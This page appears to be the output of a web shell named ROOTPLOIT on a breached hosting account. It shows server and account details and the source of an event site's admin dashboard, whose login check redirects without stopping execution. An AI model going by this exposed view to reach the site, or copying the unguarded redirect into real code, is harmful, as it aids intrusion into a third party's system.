ROOTPLOIT
Server: LiteSpeed
System: Linux in-mum-web1878.main-hosting.eu 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: u435929562 (435929562)
PHP: 7.4.33
Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Upload Files
File: /home/u435929562/domains/events.peacockindia.in/public_html/admin/dashboard.php
<?php
session_start();
if(!isset($_SESSION['admin']))
{
    header("location:index.php");
}

?>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <link rel="apple-touch-icon" sizes="76x76" href="">
  <link rel="icon" type="image/png" href="">
  <title>ValoEvents</title>
  <link href="https://use.fontawesome.com/releases/v5.0.6/css/all.css" rel="stylesheet">
  <!-- Nucleo Icons -->
  <!-- CSS Files -->
  <link href="https://fonts.googleapis.com/css?family=Poppins:200,300,400,600,700,800" rel="stylesheet" />
  <link href="https://use.fontawesome.com/releases/v5.0.6/css/all.css" rel="stylesheet">
  <!-- Nucleo Icons -->
  <link href="assets/css/nucleo-icons.css" rel="stylesheet" />
  <!-- CSS Files -->
  <link href="assets/css/black-dashboard.css?v=1.0.0" rel="stylesheet" />
  <!-- CSS Just for demo purpose, don't include it in your project -->
  <link rel="stylesheet" href="https://cdn.datatables.net/1.10.24/css/jquery.dataTables.min.css">
<style>
    table.dataTable tbody tr{
      background-color: unset;
    }
    .text-danger{
      color: #ff0000 !important;
    }
  </style>
</head>

<body class="white-content">
  <div class="wrapper">
    
    <div class="main-panel">
      <!-- Navbar -->
      <nav class="navbar navbar-expand-lg navbar-absolute navbar-transparent">
        <div>
                     
                   </div>
        <div class="container-fluid px-0">
          <div class="navbar-wrapper">
            <div class="navbar-toggle d-inline-flex align-items-center">
            </div>
            
            <a class="navbar-brand font-weight-bold d-none d-lg-block" href="javascript:void(0)">Users List</a>
          </div>
          
          <div class="collapse navbar-collapse" id="navigation">
           
            <ul class="navbar-nav ml-auto">
            <?php 
                if(isset($_GET['r'])== 101){
                  echo "<li class='dropdown nav-item msg'><div>Data Imported Successfully.</div></li>";
                }
              ?>
              
              <li class="dropdown nav-item">
                <form method="post" enctype="multipart/form-data" action="import.php">
                <div>
                  Upload Csv
                  <input type="file" name="file" class="btn btn-primary" accept="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet, application/vnd.ms-excel" onchangcheckfile(this); required/>

                  <button class="btn btn-secondary">Submit</button>
                </form>
                </div>
              </li>
              <li><a href="logout.php">Logout</a></li>
            </ul>
          </div>
        </div>
      </nav>

        <!-- End Navbar -->
        <div class="content">
      <div class="col-md-12 users">
        <div class="card">
          <div class="card-header">
            <div class="d-flex align-items-center mb-3 justify-content-between">
            </div>
          </div>
          <div class="card-body">
            <div class="table-responsive">
              <table class="table tablesorter" id="txn_table">
                <thead class="text-primary">
                  <tr>
                    <th>Id</th>
                    <th>Seat No</th>
                    <th class="text-center">Status</th>
                    <th class="text-center">Action</th>
                  </tr>
                </thead>
                <tbody>
                </tbody>
              </table>
            </div>
          </div>
        </div>
      </div>
    </div>
      <footer class="footer">
        <div class="container-fluid">

          <div class="copyright">
            ©
            <script>
              document.write(new Date().getFullYear())
            </script> QRcode scanner
          </div>
        </div>
      </footer>
    </div>
  </div>



  <!--   Core JS Files   -->
  <script src="assets/js/core/jquery.min.js"></script>
  <script src="assets/js/core/popper.min.js"></script>
  <script src="assets/js/core/bootstrap.min.js"></script>
  <script src="assets/js/plugins/perfect-scrollbar.jquery.min.js"></script>
  <script src="https://cdn.datatables.net/1.10.24/js/jquery.dataTables.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.18.1/moment.min.js"></script>
  <script src="../js/jquery.validate.js"></script>
  <script src='https://cdn.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js'></script>
  <script src="../js/toastr.min.js"></script>
    <script>
    $.ajax({
        type: "GET",
        url: "admin_data.php",
        dataType: "json",
        success: function (response) {
        var html = "";
        $.each(response.data,function(k,v) {
                    if(v.status == 0){
                    status = `<a href="#" class="btn btn-primary w-10 model">Allowed In</a>`;
                    }
                    else if(v.status == 1){
                    status = `<a href="#" class="btn btn-secondary w-10">Don't Allow</a>`;
                    }
                    else if(v.status ==  2){
                    status = `<a href="#" class="btn btn-danger w-10">Blocked</a>`;
                    }
                    html += `<tr id="txn_${v.id}" >
                    <td>${k+1}</td>
                    <td>${v.seat_no}</td>
                    <td class="status text-center">${status}</td>
                    <td class="text-center">
                        <button class="btn btn-secondary w-10 model change-status" data-id="${v.id}" data-status="1">Don't Allow</button>
                        <button  class="btn btn-danger w-10 model change-status" data-id="${v.id}" data-status="2">Block</button>
                    </td>
                    </tr>`;
        });
        var table = `<tbody>${html}</tbody>`;
        $('#txn_table').append(html);
        $('#txn_table').DataTable({"searching":false, "paging":true, "order": [[ 0, "asc" ]], "lengthChange": false, "bDestroy": true});
        }
    });
      //changing status of user start
      $(document).on("click",".change-status",function(e){
          e.preventDefault();
          var id = $(this).attr('data-id');
          var updated_status = $(this).attr('data-status');
          var status =" ";
            if(updated_status == 0){
                status = `<a href="#" class="btn btn-primary w-10 model">Allowed In</a>`;
                }
            else if(updated_status == 1){
                status = `<a href="#" class="btn btn-secondary w-10">Don't Allow</a>`;
                }
            else if(updated_status ==  2){
                status = `<a href="#" class="btn btn-danger w-10">Blocked</a>`;
                }
          $.ajax({
              type: "post",
              url: "update_status.php",
              data: {updated_status,id : id},
              dataType: "json",
              success: function (response) {
                  $('#txn_'+id +' .status').html(status);
                    toastMixin.fire({
                        animation: true,
                        title: "Status updated successfully",
                        icon: 'success',
                        timer: 3000,
                                    
                    });
                },
          });
      });


function checkfile(sender) {

    var validExts = new Array(".xlsx", ".xls");
    var fileExt = sender.value;
    fileExt = fileExt.substring(fileExt.lastIndexOf('.'));
    if (validExts.indexOf(fileExt) < 0) {
      alert("Invalid file selected, valid files are of " +
              validExts.toString() + " types.");
      return false;
    }
    else
    return true;
}
   //changing status of user end  

   
</script>

<?php 
 if(isset($_SESSION['success'])){
  echo "<script>
      toastMixin.fire({
      animation: true,
      title: 'Imported successfully',
      icon: 'success',
      timer: 3000,
                 
  });</script>";
  unset($_SESSION['success']);
}	


?>

</body>

</html>